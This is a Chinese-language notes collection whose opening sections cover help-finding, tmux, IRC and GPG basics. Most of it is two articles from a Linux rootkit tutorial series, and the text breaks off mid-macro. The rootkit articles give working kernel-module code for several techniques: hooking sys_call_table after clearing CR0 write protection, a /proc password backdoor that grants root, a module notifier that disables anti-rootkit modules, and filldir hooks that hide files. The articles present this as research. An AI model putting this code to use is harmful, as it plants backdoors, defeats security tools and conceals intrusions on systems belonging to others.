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基本帮助


1. 如何寻求机器的帮助

本文档所说的 机器的帮助 指的是自包含的 离线 文档。


1.1. 命令行


1.1.1. 内置帮助


	外部命令

UNIX [https://en.wikipedia.org/wiki/Unix] / POSIX [https://en.wikipedia.org/wiki/POSIX] / Linux [https://en.wikipedia.org/wiki/Linux] 环境下的命令行程序如果不提供 --help ，
都是耍流氓，
比如说 OpenSSH [http://www.openssh.com/] 提供的 ssh, ssh-keygen, ssh-add
与 ssh-agent 等命令，全都耍流氓。
（的确，他们收到 --help 的时候会显示简要的使用信息，
然而那是因为他们不认得 --help ，
而不是因为他们提供了 --help 。
毕竟 OpenSSH [http://www.openssh.com/] 是 BSD [https://en.wikipedia.org/wiki/Berkeley_Software_Distribution] 风格的程序。我喜欢 GNU [https://en.wikipedia.org/wiki/GNU_Project] 风格的程序。）



	Bash [https://www.gnu.org/software/bash/]

使用 help 内置命令查看内置命令的帮助。



	Zsh [http://www.zsh.org/]

使用 run-help 函数查看各种帮助，包括内置命令、man 手册等。
其快捷键为 M-h 。








1.1.2. 外部帮助


	man [https://en.wikipedia.org/wiki/Man_page]

man [https://en.wikipedia.org/wiki/Man_page] 手册需要安装，
不过，通常在安装系统的时候会安装上一套 基本的 man 手册 [https://www.kernel.org/doc/man-pages/] 。
然后，在安装其他程序的时候，他们的 man [https://en.wikipedia.org/wiki/Man_page] 手册也会一起安装上，
或者说，程序自带自己的 man [https://en.wikipedia.org/wiki/Man_page] 手册。



	info [https://en.wikipedia.org/wiki/Info_(Unix)]

info [https://en.wikipedia.org/wiki/Info_(Unix)] 手册也需要安装，不过通常是跟程序一起安装的，
或者说，是程序自带的。

GNU [https://en.wikipedia.org/wiki/GNU_Project] 的程序大都使用这种文档方式，比如 Bash [https://www.gnu.org/software/bash/] 。

不带参数执行 info [https://en.wikipedia.org/wiki/Info_(Unix)] 可以看到总目录。

注意：要想愉快地使用 info [https://en.wikipedia.org/wiki/Info_(Unix)] ，你需要花点时间了解一下它的工作方式。










1.2. 编程语言


1.2.1. Python

Python [https://www.python.org/] 编程语言自包含的帮助也就是写在 Docstring [https://en.wikipedia.org/wiki/Docstring] 里面的文档。

pydoc [https://docs.python.org/3/library/pydoc.html] 可以用来查看这些自带的文档，
尽管不是特别详细（你可以指望 Python [https://www.python.org/]
包的开发者会把 Docstring [https://en.wikipedia.org/wiki/Docstring] 写得特别详细），
但是完全可以胜任大多数情况，尤其是在没有网络的情况下。

在 Windows 环境下你可能额外需要配置，或者使用 python -m pydoc 。
另外， Python [https://www.python.org/] 的 Windows 发行自带了一份 CHM [https://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help] 格式的详细的文档。

例如。

查看 pathlib2 [https://github.com/mcmtroffaes/pathlib2] 模块 Path 类自带的文档。
注意这个模块不属于 Python [https://www.python.org/] 标准库。

pydoc2 pathlib2.Path





查看 GitPython [https://github.com/gitpython-developers/GitPython] 模块 Remote 类自带的文档。
注意这个模块不属于 Python [https://www.python.org/] 标准库。

pydoc3 git.Remote





查看 Python [https://www.python.org/] 标准库 re [https://docs.python.org/3/library/re.html] 模块自带的文档。
尽管自带的文档比不上在线文档详细，
但是很多没记牢的东西都可以看到。

python -m pydoc re












2. 如何寻求人类的帮助

记住，机器是不会拒绝你的，但是人类是懂得拒绝的生物。
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基本应用


1. Parted 的基本应用

磁盘分区工具。




2. SSH 的基本应用

安全 Shell。




3. tmux 的基本应用


3.1. 常用命令

命令的详细帮助请查看 tmux [http://tmux.github.io/] 的 man 手册。

提示：绑定快捷键可以更灵活的操作。


	new-session

创建会话。

别名： new 。

tmux new-session -s main







	split-window

分割窗口成板块，默认垂直分割（ -v ），使用 -h 水平分割。

别名： splitw 。

tmux split-window -h







	kill-pane

删除板块。

别名： killp 。

tmux kill-pane







	kill-session

结束会话。

tmux kill-session














4. IRC 的基本应用

IRC [https://en.wikipedia.org/wiki/Internet_Relay_Chat], 即 Internet Relay Chat [https://en.wikipedia.org/wiki/Internet_Relay_Chat] 。


4.1. 常用 IRC 客户端


	ChatZilla [http://chatzilla.hacksrus.com/]

Firefox [https://www.mozilla.org/en-US/firefox/] 浏览器的 拓展 [https://addons.mozilla.org/en-US/firefox/] 。



	Irssi [https://irssi.org/]

字符界面的聊天程序。








4.2. 常用 IRC 命令

注意：有些命令在不同的 IRC 客户端可能不太一样。

使用 help 命令查看详细的使用文档，例如， /help join 。








	操作
	ChatZilla
	Irssi




	列举所有命令
	/commands
	/help


	连接 IRC 服务器
	/attach freenode
	/connect freenode


	加入 IRC 频道
	/join #librecrops


	退出 IRC 频道
	/leave
	/part


	断开与 IRC 服务器的连接
	/disconnect
	


	关闭 IRC 客户端
	/quit










5. GPG 的基本应用

GPG [https://www.gnupg.org/], 即 GNU Privacy Guard [https://www.gnupg.org/] 。


5.1. 创建一对公私钥

使用 gpg --full-gen-key。




5.2. 导出自己的公私钥


	公钥

gpg --export -a rectigu@gmail.com > key.pub







	发布自己的公钥

使用 gpg --send-keys。



	私钥

gpg --export-secret-keys -a -o key rectigu@gmail.com





然后将私钥备份到一个隐蔽的、安全的地方。








5.3. 导入自己的公私钥

gpg --import key
gpg --edit-key rectigu@gmail.com
# gpg> trust
# Choose ``I trust ultimately``
# gpg> q








5.4. 对大文件签名

签名操作其实也是加密过程，所以对大文件的签名通常不是对文件内容，
而是对文件杂凑（使用具有足够强度的密码学杂凑算法计算）。

也就是，先计算文件杂凑，然后对文件杂凑签名。

举个例子。

sha1sum archlinux-2016.04.01-dual.iso | gpg -a --clearsign > archlinux-2016.04.01-dual.iso.sha1sum.asc
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Linux Rootkit 系列二：基于修改 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的系统调用挂钩

最后修改时间 ：待记录。

rectigu@gmail.com, 二〇一六年五月。

FreeBuf 链接 ： http://www.freebuf.com/sectool/105713.html 。

前言： 《Linux Rootkit 系列一： LKM 的基础编写及隐藏》 [http://www.freebuf.com/articles/system/54263.html]
的作者似乎跑路了；留下的这个口锅，我试着背一下。
鉴于笔者知识能力上的不足，如有问题欢迎各位扔豆腐，不要砸砖头。

与第一篇文章作者所想象的不同，
本文不打算给大家介绍三种不同的系统调用挂钩技术，
相反，本文仅详细讲解最简单的系统调用挂钩方案，
并且基于这个方案实现最基本的文件监视工具。
这样，既可以让读者轻松上手进行实际应用，
又可以加深、巩固读者对 LKM [https://en.wikipedia.org/wiki/Loadable_kernel_module] 的理解，
同时还免去了一次学习多种挂钩方案的理论知识压力。

所以，本文力求以实验为核心，每一个步骤都可能有对应的实验代码。
代码仓库： https://github.com/NoviceLive/research-rootkit 。
代码在最新的 64 比特 Arch [https://www.archlinux.org/] 与 Kali [https://www.kali.org/] 上面测试正常。

测试建议： 不要在物理机测试！不要在物理机测试！
不要在物理机测试！

如果读者使用 tmux [https://tmux.github.io/] 或者类似的工具，
则可以垂直分割你的终端窗口，
一个窗口开一个 sudo dmesg -C && dmesg -w ，用于查看日志；
另一个窗口用来做其他操作，比如构建、加载内核模块。
不用 tmux [https://tmux.github.io/] 也没关系，开两个终端，各占半个屏幕。


第一部分：基于修改 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的系统调用挂钩

在系统调用挂钩技术中，最简单、最流行的方案是修改
sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] ，
成员类型为函数指针的一维数组。

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
     /*
      * Smells like a compiler bug -- it doesn't work
      * when the & below is removed.
      */
     [0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};





要修改它，首先得拿到它在内存里的位置。
然后，由于 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 所在的内存是有写保护的，
所以我们需要先去掉写保护，再做修改。


1. 获得 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的内存地址

在综合考量了几种可选的获取方案之后，
笔者决定采用从内核起始地址开始暴力搜索内存空间的方案。
（ 但是这种方案有可能被欺骗 。）

其他可能的方案有，一，从 /boot/System.map [https://en.wikipedia.org/wiki/System.map] 中读取，
感兴趣的读者可以查阅
Hooking the Linux System Call Table [https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table/] ，
这篇文章便是使用这种方案来获取 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的地址的。

二，从使用了 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table]
的某些未导出函数的机器码里面进行特征搜索，
感兴趣的读者可以查阅
Kernel-Land Rootkits [http://www.kernelhacking.com/rodrigo/docs/StMichael/kernel-land-rootkits.pdf] ，
作者花了几张 slides
阐述了如何从导出的函数中获取使用了 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的未导出函数，
进而搜索那个未导出函数的机器码，
得到 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的地址；等等。

值得指出的是，
感兴趣的读者在测试这些本文未涉及的方案时，
如果遇到了疑惑或者困难，也可以与笔者联系、交流。

直接看代码。

unsigned long **
get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;

  for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
    if (entry[__NR_close] == (unsigned long *)sys_close) {
        return entry;
      }
  }

  return NULL;
}





PAGE_OFFSET [http://lxr.free-electrons.com/ident?i=PAGE_OFFSET] 是内核内存空间的起始地址。
因为 sys_close [http://lxr.free-electrons.com/ident?i=sys_close] 是导出函数
（需要指出的是， sys_open 、 sys_read 等并不是导出的），
我们可以直接得到他的地址；因为系统调用号
（也就是 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 这个一维数组的索引）
在同一 ABI [https://en.wikipedia.org/wiki/Application_binary_interface] （x86 跟 x64 不是同一 ABI）上具有高度的后向兼容性，
更重要的是，我们可以直接使用这个索引（代码中的 __NR_close ）！

从内核内存的起始地址开始，
逐一尝试每一个指针大小的内存：把它当成是 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的地址，
用某个系统调用的编号（也就是索引）访问数组中的成员，
如果访问得到的值刚好是是这个系统调用号所对应的系统调用的地址，
那么我们就认为当前尝试的这块指针大小的内存就是我们要找的
sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table] 的地址。

[image: ../_images/sys_call_table.png]



2. 关闭写保护

写保护指的是写入只读内存时出错。
这个特性可以通过 CR0 [https://en.wikipedia.org/wiki/Control_register#CR0] 寄存器控制：开启或者关闭，
只需要修改一个比特，也就是从 0 开始数的第 16 个比特。

看代码。我们可以使用 read_cr0 [http://lxr.free-electrons.com/ident?i=read_cr0] / write_cr0 [http://lxr.free-electrons.com/ident?i=write_cr0]
来读取 / 写入 CR0 [https://en.wikipedia.org/wiki/Control_register#CR0] 寄存器，
免去我们自己写内联汇编的麻烦。

函数原型。

static inline unsigned long read_cr0(void);

static inline void write_cr0(unsigned long x);





关闭写保护的源代码：将 CR0 [https://en.wikipedia.org/wiki/Control_register#CR0] 寄存器从 0 开始数的第 16 个比特置为 0。

void
disable_write_protection(void)
{
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  write_cr0(cr0);
}





开启写保护的源代码：将 CR0 [https://en.wikipedia.org/wiki/Control_register#CR0] 寄存器从 0 开始数的第 16 个比特置为 1。

void
enable_write_protection(void)
{
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  write_cr0(cr0);
}





在设置或者清除某个比特，我们使用了 set_bit [https://www.kernel.org/doc/htmldocs/kernel-api/API-set-bit.html] 与 clear_bit [https://www.kernel.org/doc/htmldocs/kernel-api/API-clear-bit.html] 。
它们是 Linux 内核提供给内核模块使用的编程接口，简单易懂，
同时还免去了我们自己写那种很难读的位运算的痛苦。

函数原型。

static __always_inline void
set_bit(long nr, volatile unsigned long *addr);

static __always_inline void
clear_bit(long nr, volatile unsigned long *addr);





[image: ../_images/write_protection.png]



3. 修改 sys_call_table [http://lxr.free-electrons.com/ident?i=sys_call_table]

一维数组赋值，当之无愧最简单的方案。
当然，我们需要先把真正的值保存好，以备后面之需。

disable_write_protection();
real_open = (void *)sys_call_table[__NR_open];
sys_call_table[__NR_open] = (unsigned long*)fake_open;
real_unlink = (void *)sys_call_table[__NR_unlink];
sys_call_table[__NR_unlink] = (unsigned long*)fake_unlink;
real_unlinkat = (void *)sys_call_table[__NR_unlinkat];
sys_call_table[__NR_unlinkat] = (unsigned long*)fake_unlinkat;
enable_write_protection();








4. 恢复

disable_write_protection();
sys_call_table[__NR_open] = (unsigned long*)real_open;
sys_call_table[__NR_unlink] = (unsigned long*)real_unlink;
sys_call_table[__NR_unlinkat] = (unsigned long*)real_unlinkat;
enable_write_protection();










第二部分：基于系统调用挂钩的初级文件监视

监视文件的创建与删除。
我们挂钩 sys_open [http://lxr.free-electrons.com/ident?i=sys_open], sys_unlink [http://lxr.free-electrons.com/ident?i=sys_unlink], sys_unlinkat [http://lxr.free-electrons.com/ident?i=sys_unlinkat] 这三个函数，
并且在我们的钩子函数把操作到的文件名打印出来，
然后把控制交给真正的系统调用处理。


1. sys_open [http://lxr.free-electrons.com/ident?i=sys_open] 的钩子函数： fake_open

考虑到在系统运行时，对文件的读写操作从未中断，
这里只打印了进行创建操作的文件名，准确地说是，
sys_open [http://lxr.free-electrons.com/ident?i=sys_open] 的 flags 中包含 O_CREAT [http://lxr.free-electrons.com/ident?i=O_CREAT] 。

asmlinkage long
fake_open(const char __user *filename, int flags, umode_t mode)
{
  if ((flags & O_CREAT) && strcmp(filename, "/dev/null") != 0) {
    printk(KERN_ALERT "open: %s\n", filename);
  }

  return real_open(filename, flags, mode);
}





注：这里的 strcmp [https://www.kernel.org/doc/htmldocs/kernel-api/API-strcmp.html] 也是内核提供的。




2. sys_unlink [http://lxr.free-electrons.com/ident?i=sys_unlink] 与 sys_unlinkat [http://lxr.free-electrons.com/ident?i=sys_unlinkat] 的钩子函数： fake_unlink 与 fake_unlinkat

简单处理，直接打印路径名。

asmlinkage long
fake_unlink(const char __user *pathname)
{
  printk(KERN_ALERT "unlink: %s\n", pathname);

  return real_unlink(pathname);
}

asmlinkage long
fake_unlinkat(int dfd, const char __user * pathname, int flag)
{
  printk(KERN_ALERT "unlinkat: %s\n", pathname);

  return real_unlinkat(dfd, pathname, flag);
}








3. 测试我们的文件监视工具

初级的文件监视就到这了，以后我们在做进一步的改进与完善。

[image: ../_images/fsmon.png]





第三部分：参考资料与延伸阅读


1. 参考资料


	Linux Cross Reference [http://lxr.free-electrons.com/]

	The Linux Kernel API [https://www.kernel.org/doc/htmldocs/kernel-api/index.html]

	How the Linux kernel handles a system call [https://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html]

	CR0 [https://en.wikipedia.org/wiki/Control_register#CR0]






2. 延伸阅读


	Hooking the Linux System Call Table [https://tnichols.org/2015/10/19/Hooking-the-Linux-System-Call-Table/]

	Kernel-Land Rootkits [http://www.kernelhacking.com/rodrigo/docs/StMichael/kernel-land-rootkits.pdf]
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Linux Rootkit 系列三：实例详解 Rootkit 必备的基本功能

最后修改时间 ： 2016-07-20 CST 。

rectigu@gmail.com, 二〇一六年六月。

FreeBuf 链接 ：
http://www.freebuf.com/articles/system/107829.html 。


前言

鉴于笔者知识能力上的不足，如有疏忽，欢迎纠正。

本文所需的完整代码位于笔者的代码仓库：
https://github.com/NoviceLive/research-rootkit。

测试建议： 不要在物理机测试！不要在物理机测试！
不要在物理机测试！




概要

在 上一篇文章 [http://www.freebuf.com/sectool/105713.html] 中笔者详细地阐述了基于直接修改系统调用表
（即 sys_call_table / ia32_sys_call_table ）的挂钩，
文章强调以代码与动手实验为核心。

长话短说，本文也将以同样的理念带领读者一一缕清
Rootkit 必备的基本功能，
包括提供 root 后门，控制内核模块的加载，
隐藏文件 （提示：这是文章的重点与核心内容），
隐藏进程，隐藏网络端口，隐藏内核模块等。

短话长说，本文不打算给大家介绍剩下的几种不同的系统调用挂钩技术：
比如说，修改 32 位系统调用（ 使用 int $0x80 ）
进入内核需要使用的 IDT [https://en.wikipedia.org/wiki/Interrupt_descriptor_table]
（ Interrupt descriptor table [https://en.wikipedia.org/wiki/Interrupt_descriptor_table] / 中断描述符表） 项，
修改 64 位系统调用（ 使用 syscall ）需要使用的 MSR [https://en.wikipedia.org/wiki/Model-specific_register]
（ Model-specific register [https://en.wikipedia.org/wiki/Model-specific_register] / 模型特定寄存器，具体讲，
64 位系统调用派遣例程的地址位于 MSR_LSTAR [http://lxr.free-electrons.com/ident?i=MSR_LSTAR] ）；
又比如基于修改系统调用派遣例程
（对 64 位系统调用而言也就是 entry_SYSCALL_64 ） 的钩法；
又或者，内联挂钩 / Inline Hooking [https://en.wikipedia.org/wiki/Hooking#API.2FFunction_Hooking.2FInterception_Using_JMP_Instruction] 。

这些钩法我们以后再谈，现在，我们先专心把一种钩法玩出花样。
上一篇文章 [http://www.freebuf.com/sectool/105713.html] 讲的钩法，也就是函数指针的替换，并不局限于钩系统调用。
本文会将这种方法应用到其他的函数上。




第一部分：Rootkit 必备的基本功能

站稳，坐好。


1. 提供 root 后门

这个特别好讲，笔者就拿提供 root 后门这个功能开刀了。

大家还记得前段时间 全志 [http://www.allwinnertech.com/] （ AllWinner [http://www.allwinnertech.com/] ）
提供的 Linux 内核里面的 root 后门吧，
不了解的可以看一下 FB [http://www.freebuf.com/] 之前的文章，
外媒报道：中国知名ARM制造商全志科技在Linux中留下内核后门 [http://www.freebuf.com/news/104270.html] 。

我们拿 后门的那段源代码 [https://github.com/allwinner-zh/linux-3.4-sunxi/blob/bd5637f7297c6abf78f93b31fc1dd33f2c1a9f76/arch/arm/mach-sunxi/sunxi-debug.c#L41] 改改就好了。

具体说来，逻辑是这样子的，
我们的内核模块在 /proc [https://en.wikipedia.org/wiki/Procfs] 下面创建一个文件，
如果某一个进程向这个文件写入特定的内容
（读者可以把这个“特定的内容”理解成口令或者密码），
我们的内核模块就把这个进程的 uid [https://en.wikipedia.org/wiki/User_identifier] 与 euid [https://en.wikipedia.org/wiki/User_identifier] 等等全都设置成 0，
也就是 root 账号的。这样，这个进程就拥有了 root 权限。

不妨拿 全志 [http://www.allwinnertech.com/] root 后门这件事来举个例子，
在运行有后门的 Linux 内核的设备上，
进程只需要向 /proc/sunxi_debug/sunxi_debug 写入 rootmydevice
就可以获得 root 权限。

另外，我们的内核模块创建的那个文件显然是要隐藏掉的。
考虑到现在还没讲文件隐藏（本文后面会谈文件隐藏），所以
这一小节的实验并不包括将创建出来的文件隐藏掉。

下面我们看看怎样在内核模块里创建 /proc [https://en.wikipedia.org/wiki/Procfs] 下面的文件。

全志 [http://www.allwinnertech.com/] root 后门代码里用到的 create_proc_entry
是一个过时了的 API [https://en.wikipedia.org/wiki/Application_programming_interface] ，而且在新内核里面它已经被去掉了。
考虑到笔者暂时还不考虑兼容老的内核，
所以我们直接用新的 API [https://en.wikipedia.org/wiki/Application_programming_interface] ， proc_create 与 proc_remove ，
分别用于创建与删除一个 /proc [https://en.wikipedia.org/wiki/Procfs] 下面的项目。

函数原型如下。

# include <linux/proc_fs.h>

static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);

void
proc_remove(struct proc_dir_entry *entry);





proc_create 参数的含义依次为，文件名字，文件访问模式，
父目录，文件操作函数结构体。
我们重点关心第四个参数： struct file_operations
里面是一些函数指针，即对文件的各种操作的处理函数，
比如，读（ read ）、写（ write ）。
该结构体的定义位于 linux/fs.h ，后面讲文件隐藏的时候还会遇到它。

创建与删除一个 /proc [https://en.wikipedia.org/wiki/Procfs] 文件的代码示例如下。

struct proc_dir_entry *entry;

entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);

proc_remove(entry);





实现我们的需求只需要提供一个写操作（ write ）
的处理函数就可以了，如下所示。

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);

struct file_operations proc_fops = {
    .write = write_handler
};

ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;

    // 分配内存。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }

    // 复制到内核缓冲区。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;

    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {

        // 用户进程写入的内容是我们的口令或者密码，
        // 把进程的 ``uid`` 与 ``gid`` 等等
        // 都设置成 ``root`` 账号的，将其提权到 ``root``。
        fm_alert("%s\n", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;
        cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;
        fm_alert("%s\n", "See you!");
    } else {
        // 密码错误，拒绝提权。
        fm_alert("Alien, get out of here: %s.\n", kbuff);
    }

    kfree(buff);
    return count;
}






实验

编译并加载我们的内核模块，以 Kali [https://www.kali.org/] 为例：
Kali [https://www.kali.org/] 默认只有 root 账号，
我们可以用 useradd <username>
添加一个临时的非 root 账号来运行提权脚本（ r00tme.sh ）做演示。
效果参见下图，
可以看到在提权之前用户的 uid [https://en.wikipedia.org/wiki/User_identifier] 是 1000，
也就是普通用户，不能读取 /proc/kcore ；
提权之后， uid [https://en.wikipedia.org/wiki/User_identifier] 变成了 0，也就是超级用户，可以读取 /proc/kcore 。

[image: ../_images/root-backdoor.png]





2. 控制内核模块的加载

想象一下，在一个月黑风高的夜晚，邪恶的读者（误：善良的读者）
通过某种手段（可能的经典顺序是 RCE [https://en.wikipedia.org/wiki/Arbitrary_code_execution] + LPE [https://en.wikipedia.org/wiki/Privilege_escalation] ，
Remote Code Execution / 远程代码执行
+ Local Privilege Escalation / 本地特权提升）
得到了某台机器的 root 命令执行；
进而执行 Rootkit 的 Dropper 程序释放并配置好 Rootkit，
让其进入工作状态。

这时候，Rootkit 首先应该做的并不是提供 root 后门；
而是，一方面，我们应该尝试把我们进来的门（漏洞）堵上，
避免 其他 不良群众乱入，另一方面，我们希望能控制好其他程序
（这个其他程序主要是指反 Rootkit 程序与 其他 不良 Rootkit），
使其不加载 其他 不良内核模块与我们在内核态血拼。

理想状态下，我们的 Rootkit 独自霸占内核态，
阻止所有不必要的代码
（尤其是反 Rootkit 程序与 其他 不良 Rootkit）在内核态执行。
当然，理想是艰巨的，所以我们先做点容易的，控制内核模块的加载。

2016-07-20 CST 更新 ： 独自霸占内核态的理想错误的，
Rootkit 强调的是后门（隐蔽）属性，不是霸道（嚣张） 。

控制内核模块的加载，我们可以从通知链机制下手。
通知链的详细工作机制读者可以查看参考资料；
简单来讲，当某个子系统或者模块发生某个事件时，
该子系统主动遍历某个链表，
而这个链表中记录着其他子系统或者模块注册的事件处理函数，
通过传递恰当的参数调用这个处理函数达到事件通知的目的。

具体来说，我们注册一个模块通知处理函数，
在模块完成加载之后、开始初始化之前，
即模块状态为 MODULE_STATE_COMING ，
将其初始函数掉包成一个什么也不做的函数。
这样一来，模块不能完成初始化，也就相当于残废了。

笔者决定多读读代码，少讲理论，
所以我们先简要分析一下内核模块的加载过程。
相关代码位于内核源码树的 kernel/module.c 。
我们从 init_module 开始看。

SYSCALL_DEFINE3(init_module, void __user *, umod,
         unsigned long, len, const char __user *, uargs)
{
     int err;
     struct load_info info = { };

     // 检查当前设置是否允许加载内核模块。
     err = may_init_module();

     if (err)
         return err;

     pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
            umod, len, uargs);

     // 复制模块到内核。
     err = copy_module_from_user(umod, len, &info);
     if (err)
         return err;

     // 交给 ``load_module`` 进一步处理。
     return load_module(&info, uargs, 0);
}





模块加载的主要工作都是 load_module 完成的，这个函数比较长，
这里只贴我们关心的一小段。

static int load_module(struct load_info *info, const char __user *uargs,
            int flags)
{
     // 这儿省略若干代码。

     /* Finally it's fully formed, ready to start executing. */
     // 模块已经完成加载，可以开始执行了（但是还没有执行）。
     err = complete_formation(mod, info);
     if (err)
         goto ddebug_cleanup;

     // 我们注册的通知处理函数会在 ``prepare_coming_module`` 的
     // 时候被调用，完成偷天换日。在下面我们还会分析一下这个函数。
     err = prepare_coming_module(mod);
     if (err)
         goto bug_cleanup;

     // 这儿省略若干代码。

     // 在 ``do_init_module`` 里面，模块的初始函数会被执行。
     // 然而在这个时候，我们早就把他的初始化函数掉包了（/偷笑）。
     return do_init_module(mod);

     // 这儿省略若干代码：错误时释放资源等。
}





static int prepare_coming_module(struct module *mod)
{
     int err;

     ftrace_module_enable(mod);
     err = klp_module_coming(mod);
     if (err)
         return err;

     // 就是这儿！调用通知链中的通知处理函数。
     // ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数，
     // 我们的处理函数只需处理这个通知。
     blocking_notifier_call_chain(&module_notify_list,
                      MODULE_STATE_COMING, mod);
     return 0;
}





说的具体点，
我们注册的通知链处理函数是在 notifier_call_chain
函数里被调用的，调用层次为： blocking_notifier_call_chain ->
__blocking_notifier_call_chain -> notifier_call_chain 。
有疑惑的读者可以细致地看看这部分代码，
位于内核源码树的 kernel/notifier.c 。

代码分析告一段落，接下来我们看看如何注册模块通知处理函数。
用于描述通知处理函数的结构体是 struct notifier_block ，
定义如下 。

typedef  int (*notifier_fn_t)(struct notifier_block *nb,
             unsigned long action, void *data);

struct notifier_block {
     notifier_fn_t notifier_call;
     struct notifier_block __rcu *next;
     int priority;
};





注册或者注销模块通知处理函数可以使用 register_module_notifier
或者 unregister_module_notifier ，函数原型如下。

int
register_module_notifier(struct notifier_block *nb);

int
unregister_module_notifier(struct notifier_block *nb);





编写一个通知处理函数，然后填充 struct notifier_block 结构体，
最后使用 register_module_notifier 注册就可以了。代码片段如下。

int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data);

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};





上面的代码是声明处理函数并填充所需结构体；
下面是处理函数具体实现。

int
fake_init(void);
void
fake_exit(void);


int
module_notifier(struct notifier_block *nb,
                unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
    // 定义锁。
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
    fm_alert("Processing the module: %s\n", module->name);

    //保存中断状态加锁。
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
    case MODULE_STATE_COMING:
        fm_alert("Replacing init and exit functions: %s.\n",
                 module->name);
        // 偷天换日：篡改模块的初始函数与退出函数。
        module->init = fake_init;
        module->exit = fake_exit;
        break;
    default:
        break;
    }

    // 恢复中断状态解锁。
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);

    return NOTIFY_DONE;
}


int
fake_init(void)
{
    fm_alert("%s\n", "Fake init.");

    return 0;
}


void
fake_exit(void)
{
    fm_alert("%s\n", "Fake exit.");

    return;
}






实验

测试时我们还需要构建另外一个简单的模块（ test ）来测试，
从下图可以看到在加载用于控制模块加载的内核模块（ komonko ）
之前， test 的初始函数与退出函数都正常的执行了；
在加载 komonko 之后， 无论是加载 test 还是卸载 test ，
它的初始函数与退出函数都没有执行，
执行的是我们掉包后的初始函数与退出函数。

[image: ../_images/komon.png]





3. 隐藏文件

说好的重点内容文件隐藏来了。
不过说到文件隐藏，我们不妨先看看文件遍历的实现，
也就是系统调用 getdents / getdents64 ，
简略地浏览它在内核态服务函数（sys_getdents）的源码
（位于 fs/readdir.c ），我们可以看到如下调用层次，
sys_getdents -> iterate_dir
-> struct file_operations 里的 iterate
-> 这儿省略若干层次
-> struct dir_context 里的 actor ，也就是 filldir 。

filldir 负责把一项记录（比如说目录下的一个文件或者一个子目录）
填到返回的缓冲区里。如果我们钩掉 filldir ，
并在我们的钩子函数里对某些特定的记录予以直接丢弃，
不填到缓冲区里，上层函数与应用程序就收不到那个记录，
也就不知道那个文件或者文件夹的存在了，也就实现了文件隐藏。

具体说来，我们的隐藏逻辑如下：
篡改根目录（也就是“/”）的 iterate 为我们的假 iterate ，
在假函数里把 struct dir_context 里的 actor 替换成我们的
假 filldir ，假 filldir 会把需要隐藏的文件过滤掉。

下面是假 iterate 与 假 filldir 的实现。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
    // 备份真的 ``filldir``，以备后面之需。
    real_filldir = ctx->actor;

    // 把 ``struct dir_context`` 里的 ``actor``，
    // 也就是真的 ``filldir``
    // 替换成我们的假 ``filldir``
    *(filldir_t *)&ctx->actor = fake_filldir;

    return real_iterate(filp, ctx);
}


int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
        // 如果是需要隐藏的文件，直接返回，不填到缓冲区里。
        fm_alert("Hiding: %s", name);
        return 0;
    }

    /* pr_cont("%s ", name); */

    // 如果不是需要隐藏的文件，
    // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}





钩某个目录的 struct file_operations 里的函数，
笔者写了一个通用的宏。

# define set_f_op(op, path, new, old)                       \
    do {                                                    \
        struct file *filp;                                  \
        struct file_operations *f_op;                       \
                                                            \
        fm_alert("Opening the path: %s.\n", path);          \
        filp = filp_open(path, O_RDONLY, 0);                \
        if (IS_ERR(filp)) {                                 \
            fm_alert("Failed to open %s with error %ld.\n", \
                     path, PTR_ERR(filp));                  \
            old = NULL;                                     \
        } else {                                            \
            fm_alert("Succeeded in opening: %s\n", path);   \
            f_op = (struct file_operations *)filp->f_op;    \
            old = f_op->op;                                 \
                                                            \
            fm_alert("Changing iterate from %p to %p.\n",   \
                     old, new);                             \
            disable_write_protection();                     \
